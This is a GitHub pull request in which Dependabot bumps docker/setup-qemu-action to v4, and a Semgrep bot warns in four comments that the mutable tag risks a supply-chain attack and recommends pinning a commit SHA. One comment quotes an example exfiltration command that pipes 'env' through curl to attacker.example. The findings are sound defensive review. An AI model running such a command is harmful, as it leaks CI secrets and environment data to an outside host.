Skip to content

chore(deps): bump docker/setup-qemu-action from 3 to 4 #121

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
dependabot wants to merge 1 commit into
base: main
Choose a base branch
from
Open

chore(deps): bump docker/setup-qemu-action from 3 to 4 #121

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions .github/workflows/build.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -52,7 +52,7 @@ jobs:
node-version: ${{ matrix.node }}

- name: Set up QEMU
uses: docker/setup-qemu-action@v3
uses: docker/setup-qemu-action@v4

@semgrep-code-mongodb semgrep-code-mongodb Bot Jul 1, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

The Set up QEMU step uses docker/setup-qemu-action@v4, a mutable tag that can be silently repointed to malicious code and then run in this workflow.

More details about this

docker/setup-qemu-action@v4 in the Set up QEMU step is pinned to the mutable v4 tag, not a specific commit. If the owner repoints v4 to a different commit, this job will automatically run that new code on ubuntu-latest before your docker buildx commands, with access to the job’s workspace and any credentials available to the workflow.

A plausible attack looks like this:

  1. An attacker compromises the docker/setup-qemu-action repository or a maintainer account.
  2. They move the v4 tag to a malicious commit.
  3. When container_tests_glibc runs, uses: docker/setup-qemu-action@v4 pulls and executes the attacker’s code in the Set up QEMU step.
  4. That code can read files checked out by actions/checkout@v6, inspect environment variables and tokens exposed to the job, and tamper with later steps like Set up Docker Buildx or the docker buildx build command.
  5. For example, the malicious action could run env | curl -X POST https://attacker.example/leak --data-binary @- or modify build inputs so the uploaded prebuilds/ artifacts contain attacker-controlled content.

Because the reference is a tag, the workflow can start running different code later without any change in this repository.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action reference with a full 40-character commit SHA in the uses line for QEMU setup.
  2. Keep the current version as an inline comment so it is still easy to see the intended release, for example: uses: docker/setup-qemu-action@<full-40-char-commit-sha> # v4.
  3. Resolve the SHA from the exact v4 release you intend to trust, and use that commit instead of the tag. Pinning to a commit prevents the action owner from silently moving the tag to different code later.
💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.


- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
Expand Down Expand Up @@ -92,7 +92,7 @@ jobs:
node-version: ${{ matrix.node }}

- name: Set up QEMU
uses: docker/setup-qemu-action@v3
uses: docker/setup-qemu-action@v4

@semgrep-code-mongodb semgrep-code-mongodb Bot Jul 1, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

docker/setup-qemu-action@v4 uses a movable tag, so upstream changes to v4 could make this workflow run attacker-controlled code in CI.

More details about this

docker/setup-qemu-action@v4 is pulled by a movable tag in this workflow step, so the code that runs during Set up QEMU can change without this repository changing. If the owner of docker/setup-qemu-action republishes v4, or an attacker gains control of that action and retags v4, your container_tests_musl job will execute the new action code before docker buildx create and the later Docker build commands.

A plausible attack looks like this:

  1. An attacker gets the ability to change what docker/setup-qemu-action@v4 points to.
  2. They publish a new commit behind v4 that adds a step to read runner data such as the checked-out repository, workflow-provided environment variables, and the Docker session available to the job.
  3. When this workflow runs, the Set up QEMU step fetches that attacker-controlled commit because it uses @v4 instead of a full commit SHA.
  4. The malicious action runs in your GitHub Actions runner and can exfiltrate repository contents or tamper with the environment used by the later Run Buildx step, for example by modifying the builder setup or leaking anything accessible to the job over curl.

Because the reference is mutable, the behavior of this CI job can be silently changed upstream with no diff in this repository.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
uses: docker/setup-qemu-action@v4
uses: docker/setup-qemu-action@e81b0b7f02c02679f63d4497631f4586d7b62c5f # v4.2.0
View step-by-step instructions
  1. Replace the mutable action reference with a full 40-character commit SHA in the uses line for QEMU setup.
  2. Update uses: docker/setup-qemu-action@v4 to uses: docker/setup-qemu-action@<full-commit-sha> and, if helpful, add the released version as a comment, for example uses: docker/setup-qemu-action@<full-commit-sha> # v4.x.y.
  3. Choose the SHA from the exact docker/setup-qemu-action release you want to trust, instead of a tag like v4. Pinning to a commit SHA prevents the action owner from silently moving the tag to different code later.
💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.


- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
Expand Down
4 changes: 2 additions & 2 deletions .github/workflows/test.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -66,7 +66,7 @@ jobs:
echo "version=$(node --print 'process.version.slice(1)')" >> "$GITHUB_OUTPUT"

- name: Set up QEMU
uses: docker/setup-qemu-action@v3
uses: docker/setup-qemu-action@v4

@semgrep-code-mongodb semgrep-code-mongodb Bot Jul 1, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

docker/setup-qemu-action@v4 uses a movable tag, so a repointed v4 release could make this workflow run attacker-controlled code in the QEMU setup step.

More details about this

docker/setup-qemu-action@v4 pulls the v4 ref of the QEMU setup action, not a specific commit. If the owner of docker/setup-qemu-action — or anyone who compromises that repository — repoints v4 to a new commit, this workflow will run that new code during the Set up QEMU step before docker buildx build runs.

A plausible attack looks like this:

  1. An attacker gains control of the docker/setup-qemu-action repository or its release process and moves the v4 tag to a malicious commit.
  2. Your container_tests_glibc job starts, reaches uses: docker/setup-qemu-action@v4, and GitHub downloads the attacker-controlled version.
  3. That action executes in your runner with access to the job workspace and any credentials or tokens available to this workflow.
  4. The malicious action can read repository contents checked out by actions/checkout, steal GITHUB_TOKEN, alter the Docker/Buildx environment, or tamper with the cross-architecture test build that uses ${{ matrix.linux_arch }} and ${{ steps.get_nodejs_version.outputs.version }}.
  5. The job may still appear to succeed, while the attacker has already exfiltrated data or changed what gets built and tested.

To resolve this comment:

✨ Commit fix suggestion

  1. Replace the mutable action tag with a full 40-character commit SHA in the uses line for QEMU setup.
    Change uses: docker/setup-qemu-action@v4 to uses: docker/setup-qemu-action@<full-commit-sha>.

  2. Keep the current version as a comment so the pinned SHA is easier to track later.
    Use the same format as uses: docker/setup-qemu-action@<full-commit-sha> # v4.x.y.

  3. Get the SHA from the exact action release you intend to trust, and pin to that commit instead of the major tag.
    For example, use docker/setup-qemu-action@<40-hex-sha> rather than docker/setup-qemu-action@v4.

  4. Apply the same pinning format to the other GitHub Actions in this workflow that still use mutable refs, such as actions/checkout@v6, actions/setup-node@v6, and docker/setup-buildx-action@v3, so each uses: value ends with a full commit SHA. Pinning to a commit SHA prevents the referenced action from changing silently if a tag is moved.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.


- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
Expand Down Expand Up @@ -107,7 +107,7 @@ jobs:
echo "version=$(node --print 'process.version.slice(1)')" >> "$GITHUB_OUTPUT"

- name: Set up QEMU
uses: docker/setup-qemu-action@v3
uses: docker/setup-qemu-action@v4

@semgrep-code-mongodb semgrep-code-mongodb Bot Jul 1, 2026

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

docker/setup-qemu-action@v4 uses a movable tag, so a repointed v4 release could run attacker-controlled code in this workflow.

More details about this

docker/setup-qemu-action@v4 pulls the QEMU setup action from a movable v4 tag, not a fixed commit. Anyone who can repoint that tag in the docker/setup-qemu-action repository could change what runs in this job before Run Buildx, with your workflow’s permissions and access to repo data.

A plausible attack looks like this:

  1. An attacker compromises the action’s publishing process or maintainer account for docker/setup-qemu-action.
  2. They move the v4 tag to a new commit that adds malicious code to the action.
  3. When container_tests_musl runs, the Set up QEMU step executes that attacker-controlled commit because it uses docker/setup-qemu-action@v4.
  4. That code can read the checked-out repository from the earlier actions/checkout@v6 step, inspect workflow files, and access any credentials or tokens available to the job.
  5. It can then tamper with the environment used by docker buildx create and docker --debug buildx build, for example by altering the emulated build setup or exfiltrating data during the build for linux/${{ matrix.linux_arch }}.

To resolve this comment:

✨ Commit fix suggestion

  1. Replace the mutable tag in the uses value with a full 40-character commit SHA for docker/setup-qemu-action.
    Change uses: docker/setup-qemu-action@v4 to uses: docker/setup-qemu-action@<full-commit-sha>.

  2. Add the upstream version as a comment after the SHA so the workflow stays readable, for example uses: docker/setup-qemu-action@<full-commit-sha> # v4.x.y.

  3. Use the commit SHA from the exact release you intend to trust, taken from the action's release page or commit history, instead of a moving tag like v4.
    Pinning to a commit prevents the action owner from silently changing what runs in this job.

  4. Alternatively, if you need to keep automatic version updates, use a dependency updater to open PRs that change the pinned SHA explicitly, rather than referencing @v4 directly.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.


- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
Expand Down
Loading